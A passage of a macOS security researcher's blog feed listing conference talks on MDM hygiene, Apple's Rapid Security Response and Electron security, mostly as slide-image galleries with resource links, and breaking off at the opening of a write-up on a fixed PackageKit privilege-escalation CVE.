<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.101.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.102.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.103.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.104.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.105.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.106.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.107.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.108.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.109.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.110.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.111.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.112.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.113.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.114.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.115.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.116.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.117.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.118.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.119.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.120.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.121.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.122.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.123.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.124.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.125.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.126.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.127.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.128.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.129.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.130.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.131.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.132.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.133.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.134.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.135.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.136.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.137.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.138.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.139.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.140.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.141.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.142.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.143.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.144.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.145.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.146.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.147.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.148.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.149.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.150.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.151.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.152.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.153.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.154.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.155.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.156.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.157.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.158.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.159.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.160.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.161.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.162.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.163.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.164.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.165.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.166.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.167.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.168.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.169.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.170.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.171.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.172.png" alt="" /></p>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macos" /><summary type="html"><![CDATA[Another year, another MacDevOpsYVR! This year I had the pleasure of talking about common security pitfalls for MacAdmins when it comes to MDM and Mac management as a whole. This year I brought in a new utility, Project Indago, to help demonstrate oversights in MDM enrollments.]]></summary></entry><entry><title type="html">OBTS v7.0 - Apple’s (not so) Rapid Security Response</title><link href="/macos/2024/12/06/OBTS-v7-2024.html" rel="alternate" type="text/html" title="OBTS v7.0 - Apple’s (not so) Rapid Security Response" /><published>2024-12-06T13:00:00+00:00</published><updated>2024-12-06T13:00:00+00:00</updated><id>/macos/2024/12/06/OBTS-v7-2024</id><content type="html" xml:base="/macos/2024/12/06/OBTS-v7-2024.html"><![CDATA[<p>Had the amazing opportunity to speak at <a href="https://objectivebythesea.org/v7/index.html" target="_blank">Objective by the Sea v7.0</a> in Maui, Hawaii! The talk was a look into Apple’s Rapid Security Response system unveiled back at WWDC2022, discussing the design and challenges of the system.</p>

<ul>
  <li>YouTube: <a href="https://www.youtube.com/watch?v=Fz6QtdjhtB8" target="_blank">#OBTS v7.0: “Apple’s Not So Rapid Security Response” - Mykola Grymalyuk</a></li>
</ul>

<p>Additional resources from my talk below:</p>

<ul>
  <li>Demo Code: <a href="/Binaries/OBTS%20v7/cryptex-patcher.c" target="_blank">cryptex-patcher.c</a></li>
  <li>Demo OS.dmg: <a href="https://updates.cdn-apple.com/2023SpringFCS/fullrestores/042-01877/2F49A9FE-7033-41D0-9D0C-64EFCE6B4C22/UniversalMac_13.4.1_22F82_Restore.ipsw" target="_blank">macOS 13.4.1 IPSW</a>
    <ul>
      <li>Unzip, use <code class="language-plaintext highlighter-rouge">096-09706-080.dmg</code> as the OS.dmg &amp; <code class="language-plaintext highlighter-rouge">096-09661-088.dmg</code> as App.dmg</li>
    </ul>
  </li>
  <li>Demo RSR: <a href="https://updates.cdn-apple.com/2023SummerFCS/patches/042-11155/2C86E0CF-DB4F-4C20-8925-2F3F54F61A11/com_apple_MobileAsset_MacSplatSoftwareUpdate/fda10f2f66899a3530fd1cc7e99d0267eabef6c2.zip" target="_blank">macOS 13.4.1 (a) RSR - ARM64</a></li>
  <li>Slides: <a href="/assets/Conferences/OBTS-v7-2024/OBTS-v7.0-RSR-Hell.pdf" target="_blank">Apple’s (not so) Rapid Security Response (PDF)</a>
    <ul>
      <li>If you’d prefer, the rest of this blog is a gallery you can scroll through below.</li>
    </ul>
  </li>
</ul>

<hr />

<p><img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.001.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.002.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.003.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.004.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.005.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.006.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.007.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.008.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.009.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.010.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.011.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.012.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.013.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.014.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.015.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.016.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.017.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.018.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.019.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.020.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.021.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.022.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.023.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.024.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.025.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.026.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.027.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.028.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.029.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.030.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.031.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.032.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.033.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.034.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.035.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.036.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.037.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.038.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.039.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.040.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.041.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.042.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.043.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.044.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.045.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.046.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.047.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.048.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.049.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.050.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.051.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.052.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.053.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.054.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.055.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.056.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.057.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.058.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.059.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.060.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.061.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.062.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.063.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.064.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.065.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.066.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.067.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.068.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.069.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.070.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.071.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.072.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.073.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.074.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.075.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.076.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.077.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.078.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.079.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.080.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.081.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.082.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.083.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.084.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.085.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.086.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.087.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.088.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.089.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.090.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.091.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.092.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.093.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.094.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.095.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.096.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.097.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.098.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.099.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.100.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.101.png" alt="" />
<img src="/images/posts/2024-12-06-OBTS-v7-2024/OBTS-v7.0-RSR-Hell.102.png" alt="" /></p>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macOS" /><summary type="html"><![CDATA[Had the amazing opportunity to speak at Objective by the Sea v7.0 in Maui, Hawaii! The talk was a look into Apple’s Rapid Security Response system unveiled back at WWDC2022, discussing the design and challenges of the system.]]></summary></entry><entry><title type="html">MacDevOpsYVR 2024 - Electron Security</title><link href="/macos/2024/06/19/MDOYVR-2024.html" rel="alternate" type="text/html" title="MacDevOpsYVR 2024 - Electron Security" /><published>2024-06-19T13:00:00+00:00</published><updated>2024-06-19T13:00:00+00:00</updated><id>/macos/2024/06/19/MDOYVR-2024</id><content type="html" xml:base="/macos/2024/06/19/MDOYVR-2024.html"><![CDATA[<p>At <a href="https://mdoyvr.com">MacDevOpsYVR 2024</a>, I had the amazing opportunity to talk about Electron security and show off a new open source utility I’ve been working on called Lectricus.</p>

<ul>
  <li><a href="https://www.youtube.com/watch?v=e6u-qLruXjs">YouTube - MDOYVR24 - Mykola Grymalyuk - Electron Security: Making your Mac a worse place?</a></li>
</ul>

<p>Additional resources from my talk below:</p>

<ul>
  <li><a href="https://github.com/ripeda/lectricus">Lectricus</a>
    <ul>
      <li>Open-source Electron security utility.</li>
    </ul>
  </li>
  <li>Tsunek0h’s CVE-2023-32546:
    <ul>
      <li>What kicked off this idea for Electron querying!</li>
      <li>Chatwork Desktop Application.</li>
      <li>Part of their SIP bypass talk at CODE BLUE 2023.</li>
    </ul>
  </li>
  <li><a href="https://github.com/r3ggi/electroniz3r">Wojciech Reguła’s electroniz3r</a>
    <ul>
      <li>Didn’t know it existed when I started Lectricus…</li>
      <li>But made me go further with Lectricus!</li>
    </ul>
  </li>
  <li>Electron:
    <ul>
      <li><a href="https://www.electronjs.org/docs/latest/tutorial/fuses">Fuses</a></li>
      <li><a href="https://www.electronjs.org/blog/statement-run-as-node-cves">Statement regarding “runAsNode” CVEs</a></li>
    </ul>
  </li>
  <li>Slides: <a href="/assets/Conferences/MacDevOpsYVR-2024/Electron-Security.pdf">Electron Security: Making your Mac a worse place? (PDF)</a>
    <ul>
      <li>If you’d prefer, the rest of this blog is a gallery you can scroll through below.</li>
    </ul>
  </li>
</ul>

<hr />

<p><img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.001.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.002.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.003.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.004.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.005.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.006.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.007.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.008.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.009.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.010.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.011.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.012.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.013.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.014.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.015.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.016.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.017.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.018.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.019.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.020.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.021.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.022.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.023.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.024.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.025.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.026.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.027.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.028.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.029.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.030.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.031.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.032.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.033.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.034.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.035.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.036.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.037.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.038.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.039.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.040.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.041.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.042.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.043.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.044.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.045.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.046.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.047.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.048.png" alt="" />
<img src="/images/posts/2024-06-21-MDOYVR-2024/electron-security/electron-security.049.png" alt="" /></p>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macOS" /><summary type="html"><![CDATA[At MacDevOpsYVR 2024, I had the amazing opportunity to talk about Electron security and show off a new open source utility I’ve been working on called Lectricus.]]></summary></entry><entry><title type="html">CVE-2024-27822: macOS PackageKit Privilege Escalation</title><link href="/macos/2024/06/03/CVE-2024-27822.html" rel="alternate" type="text/html" title="CVE-2024-27822: macOS PackageKit Privilege Escalation" /><published>2024-06-03T13:00:00+00:00</published><updated>2024-06-03T13:00:00+00:00</updated><id>/macos/2024/06/03/CVE-2024-27822</id><content type="html" xml:base="/macos/2024/06/03/CVE-2024-27822.html"><![CDATA[<p>Another fun exploit! This time with local privilege escalation through Apple’s <code class="language-plaintext highlighter-rouge">PackageKit.framework</code> when running ZSH-based PKGs 🎉.</p>

<hr />

<ul>
  <li>Resolved versions:
    <ul>
      <li>macOS 14.5 Beta 2 (23F5059e) and newer</li>
      <li>macOS 13.6.7 (22G720) and newer</li>
      <li>macOS 12.7.5 (21H1222) and newer</li>
    </ul>
  </li>
  <li>Affected versions:
    <ul>
      <li>macOS 14.5 Beta 1 (23F5049f) and older</li>
